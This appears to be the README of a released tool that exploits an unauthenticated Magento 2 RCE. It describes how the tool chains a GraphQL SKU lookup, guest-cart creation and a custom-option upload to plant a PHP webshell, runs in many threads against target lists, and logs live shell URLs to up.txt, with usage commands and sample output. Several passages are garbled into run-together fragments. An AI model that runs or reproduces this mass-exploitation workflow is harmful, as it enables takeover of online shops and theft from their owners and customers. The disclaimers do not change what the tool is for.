
Magento 2 Unauthenticated RCE Exploit – Uploads a PHP webshell via GraphQL product lookup + guest cart custom options. Multi‑threaded, auto‑detects SKU, and saves live shell URLs to up.txt. For authorized security testing only.
⚠️ This tool is for educational and authorized security testing only. Unauthorized use against systems you do not own is illegal.
This exploit targets a critical unauthenticated remote code execution (RCE) vulnerability in Magento 2 (Adobe Commerce). By chaining the GraphQL product lookup, guest cart creation, and a malicious file upload via custom product options, an attacker can upload a PHP webshell and gain arbitrary code execution on the target server.
The vulnerability allows a remote attacker to write a PHP file to the server's filesystem, then access it to execute system commands, read/write files, and fully compromise the Magento installation.
Shinday)up.txt/graphql./rest/default/V1/guest-carts to obtain a cart ID./rest/default/V1/guest-carts/{cart_id}/items with a base64-encoded PHP webshell as a custom option file./pub/media/custom_options/quote/... or /media/custom_options/quote/....Shinday in the response.up.txt.Queue, unicode, and other Python 2‑specific modules)requests, urllib3 librariesInstall dependencies:
pip install requests urllib3
python exploit.py <list.txt>
<list.txt> – file containing target base URLs (one per line), with or without http:///https://.https://example.com
http://shop.test
magento2.target.net
up.txt in the current directory.python exploit.py targets.txt
[*] Total targets: 5
[*] Start time: 2025-03-15 12:00:00
[*] Starting 5 threads...
[Thread 1] Processing: https://example.com
[+] SKU : 24-WG080
[+] CART : 8f7c3e9a-1b2f-4d5e-9a8b-7c6d5e4f3a2b
[+] Upload Status : 200
[+] Webshell terpasang: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
[✓] Saved to up.txt: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
The uploaded PHP file is a simple file manager (named like xxxxx_shin.php) that responds to requests with a web‑based file explorer. It contains the unique marker Shinday which the script uses to verify successful upload.
Do not leave this shell on a system after testing – clean up immediately.
/media/custom_options/ for unexpected PHP files.This software is provided for educational and authorized penetration testing purposes only. The authors are not responsible for any misuse or damage caused by this tool. You must obtain explicit written permission from the system owner before running this exploit against any target. Unauthorized access to computer systems is a criminal offense in most jurisdictions.
More Disclaimer You can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!